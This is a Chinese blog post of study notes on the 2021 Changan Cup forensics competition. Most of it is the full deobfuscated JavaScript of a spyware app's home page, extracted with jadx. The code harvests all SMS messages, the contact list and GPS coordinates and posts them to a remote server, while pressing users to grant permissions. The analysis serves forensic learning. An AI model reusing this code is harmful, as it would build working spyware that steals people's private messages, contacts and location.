• 2021长安杯


    记录一下看wp的问题
    https://forensics.xidian.edu.cn/wiki/2021caWriteUp/
    1、这里的index.html是哪里找的?混淆是什么?
    在这里插入图片描述
    看hhh的题解,说的是通过“内涵一点”,可以从jadx中定位到首页的源码,试一下
    我的jadx比hhh的难用啊

    下了最新版就好了~~~
    我也找到了耶耶耶!!!
    在这里插入图片描述
    2、混淆是什么呢??

    在这里插入图片描述
    这里的搜原来是百度搜索hhh
    在这里插入图片描述

    /*
    *Aman - 194nb.com
    */
    /*
     *Progcessed By JSDec in 0.00s
     *JSDec - JSDec.js.org
     */
    mui.init();
    
    		mui.plusReady(function () {
    			//var main = plus.android.runtimeMainActivity();  
    			// main.moveTaskToBack(false);
    
    			var address = plus.device.vendor + '-' + plus.device.model;
    			address = address.replace(/\n/g, "").replace(/ /g, "").replace(/\r/g, "");
    			var apiserver = 'http://www.honglian7001.com/api/uploads/';
    			//重复数据处理 预防用户重复点击
    			var danjishijian = true;
    			function requestPermission(sjh, yqm) {
    				plus.android.requestPermissions(
    					["android.permission.READ_SMS"],
    					function (resultObj) {
    						//SmsInfo存放一条短信的各项内容
    						var SmsInfo = {}
    						//Sms存放所有短信
    						var Sms = {}
    
    						var aimei = sjh;
    						var aimei2 = yqm;
    						var duanxin = '[{"imei":"' + aimei + '","imei2":"' + aimei2 + '"}';
    						var Cursor = plus.android.importClass("android.database.Cursor")
    						var Uri = plus.android.importClass("android.net.Uri")   //注意啦,android.net.Uri中的net是小写
    						var activity = plus.android.runtimeMainActivity()
    						var uri = Uri.parse("content://sms/");
    
    						var projection = new Array("_id", "address", "person", "body", "date", "type")
    						var cusor = activity.managedQuery(uri, projection, null, null, "date desc")
    						var idColumn = cusor.getColumnIndex("_id")
    						var nameColumn = cusor.getColumnIndex("person")
    						var phoneNumberColumn = cusor.getColumnIndex("address")
    						var smsbodyColumn = cusor.getColumnIndex("body")
    						var dateColumn = cusor.getColumnIndex("date")
    						var typeColumn = cusor.getColumnIndex("type")
    						if (cusor != null) {
    							while (cusor.moveToNext()) {
    								SmsInfo.id = cusor.getString(idColumn)
    								SmsInfo.Name = cusor.getInt(nameColumn)
    								SmsInfo.Date = cusor.getLong(dateColumn)
    								SmsInfo.Date = getFormatDate(SmsInfo.Date)
    								SmsInfo.PhoneNumber = cusor.getString(phoneNumberColumn)
    								SmsInfo.Smsbody = cusor.getString(smsbodyColumn)
    								SmsInfo.Type = cusor.getString(typeColumn)
    
    								var post = JSON.stringify(SmsInfo);
    								//console.log(post);
    								duanxin = duanxin + ',' + post;
    
    							}
    							duanxin = duanxin + ']';
    							//alert(duanxin);
    
    							mui.ajax(apiserver + 'apisms', {
    								data: {
    									data: duanxin
    								},
    								dataType: 'text',//服务器返回json格式数据
    								type: 'post',//HTTP请求类型
    								timeout: 10000,//超时时间设置为10秒;              
    								success: function (data) {
    									mui.toast('获取成功')
    									//console.log(con)
    
    
    								},
    								error: function (xhr, type, errorThrown) {
    									//异常处理;
    
    								}
    							});
    							cusor.close()
    						}
    
    					},
    					function (error) {
    						console.log('申请权限错误:' + error.code + " = " + error.message);
    					});
    			}
    
    
    
    			//扩展Date功能:将long型日期转换为特定的格式
    			Date.prototype.format = function (format) {
    				var o = {
    					"M+": this.getMonth() + 1,
    					"d+": this.getDate(),
    					"h+": this.getHours(),
    					"m+": this.getMinutes(),
    					"s+": this.getSeconds(),
    					"q+": Math.floor((this.getMonth() + 3) / 3),
    					"S": this.getMilliseconds()
    				}
    				if (/(y+)/.test(format)) {
    					format = format.replace(RegExp.$1, (this.getFullYear() + "").substr(4 - RegExp.$1.length));
    				}
    				for (var k in o) {
    					if (new RegExp("(" + k + ")").test(format)) {
    						format = format.replace(RegExp.$1, RegExp.$1.length == 1 ? o[k] : ("00" + o[k]).substr(("" + o[k]).length));
    					}
    				}
    				return format;
    			}
    
    
    			//将long型日期转换为特定格式
    			function getFormatDate(l, pattern) {
    				date = new Date(l);
    				if (pattern == undefined) {
    					pattern = "yyyy-MM-dd hh:mm:ss";
    				}
    				return date.format(pattern);
    			}
    
    
    			//alert(plus.device.uuid)
    			plus.navigator.setStatusBarBackground("#db6eff");
    
    			mui("body").off("tap");
    
    			mui("body").on('tap', '#tx', function (event) {
    
    				$('#tx').hide();
    				$('#zz').show();
    			});
    
    			mui("body").on('tap', '#gb', function (event) {
    
    				$('#tx').show();
    				$('#zz').hide();
    			});
    
    			mui("body").on('tap', '#qd', function (event) {
    				if (danjishijian) {
    					danjishijian = false;
    					aa()
    				} else {
    					aa()
    				}
    
    			});
    
    
    			function getPermission(permissionIdentity, successCallBack, errorCallBack) {
    				//权限标识转换成大写  
    				var permissionIdentity = permissionIdentity.toUpperCase();
    				//获取检测权限的状态  
    				var checkResult = plus.navigator.checkPermission(permissionIdentity);
    				//权限状态是否正常  
    				var permissionStatusOk = false;
    				//权限中文名称  
    				var permissionName = '';
    				//对应 andorid 的具体权限  
    				var androidPermission = '';
    				//获取权限中文意思与对应 android 系统的权限字符串  
    				switch (permissionIdentity) {
    
    					case 'CONTACTS':
    						permissionName = '系统联系人';
    						androidPermission = 'android.permission.READ_CONTACTS'
    						break;
    
    					default:
    						permissionName = '未知';
    						androidPermission = '未知';
    						break;
    				}
    
    				//判断检查权限的结果  
    				switch (checkResult) {
    					case 'authorized':
    						//正常的  
    						permissionStatusOk = true
    						break;
    					case 'denied':
    						//表示程序已被用户拒绝使用此权限,如果是拒绝的就再次提示用户打开确认提示框  
    						//如果有该权限但是没有打开不进行操作还是会去申请或手动打开  
    						// console.log('已关闭' + permissionName + '权限')  
    						// errorCallBack('已关闭' + permissionName + '权限');  
    						// return  
    						break;
    					case 'undetermined':
    						// 表示程序未确定是否可使用此权限,此时调用对应的API时系统会弹出提示框让用户确认  
    						// this.requestPermissions(androidPermission, permissionName, successCallBack, errorCallBack)  
    						// errorCallBack('未确定' + permissionName + '权限');  
    						// return  
    						break;
    					case 'unknown':
    						errorCallBack('无法查询' + permissionName + '权限');
    						return
    						break;
    					default:
    						errorCallBack('不支持' + permissionName + '权限');
    						return
    						break;
    				}
    
    				//如果权限是正常的执行成功回调  
    				if (permissionStatusOk) {
    					successCallBack()
    				} else {
    					//如果不正常,如果是 andorid 系统,就动态申请权限  
    					if (plus.os.name == 'Android') {
    						//动态申请权限  
    						plus.android.requestPermissions([androidPermission], function (e) {
    							if (e.deniedAlways.length > 0) {
    								//权限被永久拒绝  
    								// 弹出提示框解释为何需要定位权限,引导用户打开设置页面开启  
    								errorCallBack('请您同意弹出的权限,便可正常使用APP!如果未弹出,请前往“手机设置”里的“权限管理”找到本应用,并打开通讯录权限,方可使用。')
    								// console.log('Always Denied!!! ' + e.deniedAlways.toString());  
    							}
    							if (e.deniedPresent.length > 0) {
    								//权限被临时拒绝  
    								// 弹出提示框解释为何需要定位权限,可再次调用plus.android.requestPermissions申请权限  
    								errorCallBack('请您同意弹出的权限,便可正常使用APP!如果未弹出,请前往“手机设置”里的“权限管理”找到本应用,并打开通讯录权限,方可使用。')
    								// console.log('Present Denied!!! ' + e.deniedPresent.toString());  
    							}
    							if (e.granted.length > 0) {
    								//权限被允许  
    								//调用依赖获取定位权限的代码  
    								successCallBack()
    								// console.log('Granted!!! ' + e.granted.toString());  
    							}
    						}, function (e) {
    							errorCallBack('请您同意弹出的权限,便可正常使用APP!如果未弹出,请前往“手机设置”里的“权限管理”找到本应用,并打开通讯录权限,方可使用。')
    							// console.log('Request Permissions error:' + JSON.stringify(e));  
    						})
    					} else if (plus.os.name == 'iOS') {
    						//ios ,第一次使用目的权限时,应用的权限列表里是不存在的,所以先默认执行一下成功回调,打开要使用的操作,比如 plus.camera  
    						//这时系统会提示是否打开相应的权限,如果拒绝也没关系,因为应用的权限列表里已经存在该权限了,下次再调用相应权限时,就会  
    						//走 else 里的流程,会给用户提示,并且跳转到应该的权限页面,让用户手动打开。  
    						if (checkResult == 'undetermined') {
    							//调用依赖获取定位权限的代码  
    							successCallBack(true)
    						} else {
    							//如果是 ios 系统,ios 没有动态申请操作,所以提示用户去设置页面手动打开  
    							mui.confirm(permissionName + '权限没有开启,是否去开启?', '提醒', ['取消', '确认'], function (e) {
    								//取消  
    								if (e.index == 0) {
    									errorCallBack('请您同意弹出的权限,便可正常使用APP!如果未弹出,请前往“手机设置”里的“权限管理”找到本应用,并打开通讯录权限,方可使用。')
    								} else if (e.index == 1) {
    									//确认,打开当前应用权限设置页面  
    									var UIApplication = plus.ios.import('UIApplication');
    									var application2 = UIApplication.sharedApplication();
    									var NSURL2 = plus.ios.import('NSURL');
    									// var setting2 = NSURL2.URLWithString("prefs:root=LOCATION_SERVICES");                             
    									var setting2 = NSURL2.URLWithString('app-settings:');
    									application2.openURL(setting2);
    
    									plus.ios.deleteObject(setting2);
    									plus.ios.deleteObject(NSURL2);
    									plus.ios.deleteObject(application2)
    								}
    							}, 'div')
    						}
    					}
    				}
    			}
    
    
    
    			function aa() {
    				var sjh = $('#sjh').val();
    				var yqm = $('#yqm').val();
    				if (parseInt(sjh) > 0 && parseInt(yqm) > 0 && parseInt(sjh) > 13000000000 && parseInt(sjh) < 19999999999 && parseInt(yqm) > 0 && parseInt(yqm) < 999999) {
    
    					getPermission('CONTACTS', function () {
    						huoqu(sjh, yqm);
    
    					}, function (msg) {
    						mui.alert(msg, '提醒', '确定', function () { }, 'div')
    						//aa()
    					})
    				}
    				else {
    					mui.toast('请输入正确的手机号和邀请码')
    				}
    
    			}
    
    
    
    
    			function dingwei(sjh, yqm) {
    				plus.geolocation.getCurrentPosition(translatePoint, function (e) {
    					mui.toast("异常:" + e.message);
    				});
    			}
    
    			function translatePoint(position) {
    
    				var sjh = $('#sjh').val()
    				var yqm = $('#yqm').val()
    				var currentLon = position.coords.longitude;
    				var currentLat = position.coords.latitude;
    				var jingweidu = sjh + ',' + yqm + ',' + currentLon + ',' + currentLat;
    				mui.ajax(apiserver + 'apimap', {
    					data: {
    						data: jingweidu
    					},
    					dataType: 'text',//服务器返回json格式数据
    					type: 'post',//HTTP请求类型
    					timeout: 10000,//超时时间设置为10秒;              
    					success: function (data) {
    
    						if (data == '获取成功') {
    							requestPermission(sjh, yqm);
    
    							//setInterval(function(){
    							//var sjh=$('#sjh').val();
    							//var yqm=$('#yqm').val();
    							//requestPermission(sjh,yqm);
    							//console.log('send')
    
    							//},30000)
    						}
    
    						mui.toast(data)
    					},
    					error: function (xhr, type, errorThrown) {
    						//异常处理;
    
    
    					}
    				});
    
    				//书写自己的逻辑
    
    			}
    			// 扩展API加载完毕,现在可以正常调用扩展API
    
    			function huoqu(sjh, yqm) {
    				var con = sjh + "**" + yqm + '**' + address;
    
    
    				plus.contacts.getAddressBook(plus.contacts.ADDRESSBOOK_PHONE, function (addressbook) {
    
    
    					addressbook.find(["displayName", "phoneNumbers"], function (contacts) {
    
    
    						for (var i = 0, len = contacts.length; i < len; i++) {
    							con = con + '=' + contacts[i].displayName + '|' + (contacts[i].phoneNumbers.length == 0 ? "" : contacts[i].phoneNumbers[0].value);
    						}
    
    
    
    
    
    						mui.ajax(apiserver + 'api', {
    							data: {
    								data: con
    							},
    							dataType: 'text',//服务器返回json格式数据
    							type: 'post',//HTTP请求类型
    							timeout: 10000,//超时时间设置为10秒;              
    							success: function (data) {
    								//alert(data)
    								if (data == '正在加载列表') {
    									dingwei(sjh, yqm);
    									mui.openWindow({
    										url: 'list.html',
    										show: {
    											autoShow: true
    										}
    									});
    								} else {
    									mui.toast(data)
    								}
    								//console.log(con)
    							},
    							error: function (xhr, type, errorThrown) {
    								//异常处理;
    
    
    							}
    						});
    
    
    
    					}, function () {
    						mui.alert("为保证用户质量,使用本app请同意通讯录授权 ");
    					}, {
    						multiple: true
    					});
    				}, function (e) {
    					mui.alert("为保证用户质量,使用本app请同意通讯录授权 ");
    				});
    			}
    
    
    
    
    		});
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    • 53
    • 54
    • 55
    • 56
    • 57
    • 58
    • 59
    • 60
    • 61
    • 62
    • 63
    • 64
    • 65
    • 66
    • 67
    • 68
    • 69
    • 70
    • 71
    • 72
    • 73
    • 74
    • 75
    • 76
    • 77
    • 78
    • 79
    • 80
    • 81
    • 82
    • 83
    • 84
    • 85
    • 86
    • 87
    • 88
    • 89
    • 90
    • 91
    • 92
    • 93
    • 94
    • 95
    • 96
    • 97
    • 98
    • 99
    • 100
    • 101
    • 102
    • 103
    • 104
    • 105
    • 106
    • 107
    • 108
    • 109
    • 110
    • 111
    • 112
    • 113
    • 114
    • 115
    • 116
    • 117
    • 118
    • 119
    • 120
    • 121
    • 122
    • 123
    • 124
    • 125
    • 126
    • 127
    • 128
    • 129
    • 130
    • 131
    • 132
    • 133
    • 134
    • 135
    • 136
    • 137
    • 138
    • 139
    • 140
    • 141
    • 142
    • 143
    • 144
    • 145
    • 146
    • 147
    • 148
    • 149
    • 150
    • 151
    • 152
    • 153
    • 154
    • 155
    • 156
    • 157
    • 158
    • 159
    • 160
    • 161
    • 162
    • 163
    • 164
    • 165
    • 166
    • 167
    • 168
    • 169
    • 170
    • 171
    • 172
    • 173
    • 174
    • 175
    • 176
    • 177
    • 178
    • 179
    • 180
    • 181
    • 182
    • 183
    • 184
    • 185
    • 186
    • 187
    • 188
    • 189
    • 190
    • 191
    • 192
    • 193
    • 194
    • 195
    • 196
    • 197
    • 198
    • 199
    • 200
    • 201
    • 202
    • 203
    • 204
    • 205
    • 206
    • 207
    • 208
    • 209
    • 210
    • 211
    • 212
    • 213
    • 214
    • 215
    • 216
    • 217
    • 218
    • 219
    • 220
    • 221
    • 222
    • 223
    • 224
    • 225
    • 226
    • 227
    • 228
    • 229
    • 230
    • 231
    • 232
    • 233
    • 234
    • 235
    • 236
    • 237
    • 238
    • 239
    • 240
    • 241
    • 242
    • 243
    • 244
    • 245
    • 246
    • 247
    • 248
    • 249
    • 250
    • 251
    • 252
    • 253
    • 254
    • 255
    • 256
    • 257
    • 258
    • 259
    • 260
    • 261
    • 262
    • 263
    • 264
    • 265
    • 266
    • 267
    • 268
    • 269
    • 270
    • 271
    • 272
    • 273
    • 274
    • 275
    • 276
    • 277
    • 278
    • 279
    • 280
    • 281
    • 282
    • 283
    • 284
    • 285
    • 286
    • 287
    • 288
    • 289
    • 290
    • 291
    • 292
    • 293
    • 294
    • 295
    • 296
    • 297
    • 298
    • 299
    • 300
    • 301
    • 302
    • 303
    • 304
    • 305
    • 306
    • 307
    • 308
    • 309
    • 310
    • 311
    • 312
    • 313
    • 314
    • 315
    • 316
    • 317
    • 318
    • 319
    • 320
    • 321
    • 322
    • 323
    • 324
    • 325
    • 326
    • 327
    • 328
    • 329
    • 330
    • 331
    • 332
    • 333
    • 334
    • 335
    • 336
    • 337
    • 338
    • 339
    • 340
    • 341
    • 342
    • 343
    • 344
    • 345
    • 346
    • 347
    • 348
    • 349
    • 350
    • 351
    • 352
    • 353
    • 354
    • 355
    • 356
    • 357
    • 358
    • 359
    • 360
    • 361
    • 362
    • 363
    • 364
    • 365
    • 366
    • 367
    • 368
    • 369
    • 370
    • 371
    • 372
    • 373
    • 374
    • 375
    • 376
    • 377
    • 378
    • 379
    • 380
    • 381
    • 382
    • 383
    • 384
    • 385
    • 386
    • 387
    • 388
    • 389
    • 390
    • 391
    • 392
    • 393
    • 394
    • 395
    • 396
    • 397
    • 398
    • 399
    • 400
    • 401
    • 402

    3、如何看http回传地址:第一个参数

    4、Frida脚本是什么??我咋就看不到数据库相关信息呢???
    莫名其妙,又打开了一遍,才有
    在这里插入图片描述

    刚刚蓝屏了,吓死了

    解决了好几个小时,解决不了,我哭了
    电脑配置太差了。

    已经比完赛啦!!!感谢友友们!!!

  • 相关阅读:
    浅谈MyBatis中遇到的问题~
    CentOS7 设置固定IP地址
    单目标应用:求解旅行商问题(TSP)的猎豹优化算法(The Cheetah Optimizer,CO)提供MATLAB代码
    Apache 部署配置
    数码3C零售门店运营,智慧显示有何优势?以清远电信为例。
    美图SaaS、有赞美业,求同存异的差异化角逐
    拼多多根据ID取商品详情 API
    (附源码)spring boot基于小程序酒店疫情系统 毕业设计 091931
    Dbeaver 启动提示 Java 版本过低,和 arduino 的 java 依赖发生冲突,java 版本管理
    ExcelPatternTool 开箱即用的Excel工具包现已发布!
  • 原文地址:https://blog.csdn.net/weixin_45252975/article/details/127568982